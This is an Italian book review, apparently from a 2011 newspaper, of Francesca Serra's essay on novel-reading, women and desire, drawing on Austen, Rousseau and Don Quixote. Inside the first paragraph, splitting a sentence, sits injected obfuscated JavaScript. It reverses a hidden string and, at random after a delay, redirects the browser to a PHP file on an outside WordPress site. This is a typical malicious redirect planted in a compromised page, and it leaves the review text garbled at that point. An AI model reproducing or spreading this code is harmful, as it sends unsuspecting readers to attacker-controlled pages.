Quei cattivi romanzi seduttori di ragazze. Il potere della lettura nel libro di Francesca Serra

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Francesca Serra l’abbiamo conosciuta su queste pagine durante l’esilio di Aless (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andro Santoro, quando scrisse delle bellissime parole su ” e per nulla cattiva, Catherine è un’adorabile imbecille, incapace di distinguere realtà e fantasie. La causa di questa fragilità non è un difetto innato, ma un vizio acquisito vero e proprio, ovvero la lettura compulsiva di quei romanzi che venivano definiti “gotici” (una Catherine dei nostri giorni, per intenderci, divorerebbe le saghe di vampiri e licantropi di Stephenie Meyer). In fin dei conti, si potrebbe trattare di un’abitudine perdonabile. Il guaio è che Catherine, degna nipotina del più illustre Don Chisciotte, finisce per credere di viverci davvero, in quel mondo di torrioni medievali, passaggi segreti, manoscritti ritrovati, crudelissimi rapitori di fanciulle innocenti, padri e figli che si riconoscono in punto di morte, fughe al chiaro di luna, sinistri rintocchi di mezzanotte. Mentre il mondo, ahimè, è molto più banale di quello che Catherine si ostina a credere, e non cerca (questa è la suprema ironia della Austen) che di farla felice, come finirà per accadere grazie a un ottimo matrimonio.

Jane Austen portò a termine L’Abbazia di Northanger nel 1803. Se la sua eroina discende da Don Chisciotte, è pure un´antenata diretta di Madame Bovary. Che abbia esiti tragici o comici, la patologia di questi personaggi è legata alla lettura dei romanzi, e discende da un eccesso di impressionabilità che, nonostante Don Chisciotte, è sistematicamente attribuito alle donne. Non si potranno nutrire dubbi al riguardo dopo aver terminato il saggio brillante ed erudito di Francesca Serra, Le brave ragazze non leggono romanzi (Bollati Boringhieri). I libri più utili da meditare, forse, sono quelli che, una volta finiti, non sappiamo proprio in che scaffale sistemare. Quello di Francesca Serra potrebbe essere rubricato sotto l’etichetta della teoria letteraria e della storia dei generi. Eppure, nel corso dell’esposizione, la medicina e la psicologia svolgono un compito per nulla secondario. E non manca all’appello la sociologia, quando si tratterà, dopo aver stabilito un sorprendente parallelo fra romanzi e vibratori, di collocare entrambi questi potentissimi oggetti del desiderio nella sfera dei consumi – e del consumismo.

Possiamo iniziare a dipanare questa matassa, imbarazzante o attraente a seconda dei punti di vista, dicendo che il titolo del saggio di Francesca Serra fa il verso a una celebre affermazione di Jean-Jacques Rousseau, «jamais fille chaste n’a lu des romans», ovvero: mai una fanciulla casta ha letto dei romanzi. Quel genio della malafede che era Rousseau mette questo avvertimento in testa alla prefazione del più celebre romanzo del suo tempo, La Nouvelle Héloïse, uscito nel 1761. Ma è proprio nel secolo di Rousseau, in quel Settecento che se non inventa il romanzo ne fa un´industria e un consumo di massa, che i sottili ma tenacissimi legami che tengono unite la lettura dei romanzi e la masturbazione iniziano ad ossessionare la mente di medici, filosofi, letterati e pedagoghi.

Francesca Serra ci fa entrare in un mondo psicologico e in un tempo storico nel quale nessuna «civiltà dell’immagine» ha ancora minimamente eroso l’incontrollabile potenza della lettura. Mentre gli occhi, che da sempre sono la porta delle più pericolose suggestioni, scorrono sui caratteri stampati sulla pagina, la mente accoglie i fantasmi suscitati dalle parole lette, e facilmente ne finisce soggiogata. L’ipnotizzatore e il romanziere fanno, in pratica, lo stesso mestiere, con la differenza che il primo ha bisogno di essere lì, di fronte al soggetto da soggiogare, mentre il secondo, col mezzo dei libri, è dovunque e in nessun luogo.

Con la sua continua proliferazione di immagini di voluttà, il romanzo finisce per intaccare e demolire il principio di realtà, accampandosi come un irresistibile conquistatore nelle menti di donne incapaci di resistere al richiamo del piacere. Genitori, mariti, istitutori sono alle prese con il più subdolo dei nemici: un immaginario che finisce sempre per svalutare il mondo così com´è, con la sua cronica avarizia o mancanza di soddisfazioni. Resta da capire come mai questa storia di frustrazione e riparazione fantastica, che può apparirci come una storia generalmente umana, veda le donne come protagoniste indiscusse: ancora oggi, a parere di Francesca Serra, che alla fine del suo libro azzarda delle considerazioni molto acute su come, all´inizio del terzo millennio, quello della lettrice sia ancora «un congegno» capace di degradare «la lettura in vizio».

Tutto sommato, il capostipite e il modello supremo dei malati di romanzi è pur sempre Don Chisciotte, un maschio. Si tratta, a mio modo di vedere, del punto più delicato e problematico dell´intera ricerca, anche perché quell´eccitabilità nervosa, quell’eccessiva reattività al potere della parola scritta, è un limite, ma anche un potere, una possibile sorgente di forza interiore. E probabilmente, riguardo a questo tema e a molti altri, bisognerà iniziare a considerare quali quantità di “maschio” e di “femmina” si agitano in ognuno di noi, alla ricerca di un difficile equilibrio, senza più dare troppo peso alla biologia e all´anagrafe. In fin dei conti, ciò che siamo alla nascita dovrebbe contare molto meno di quello che, di giorno in giorno, decidiamo, o ci tocca in sorte, di essere.

*da Repubblica del 12 luglio 2011 (versione pdf)

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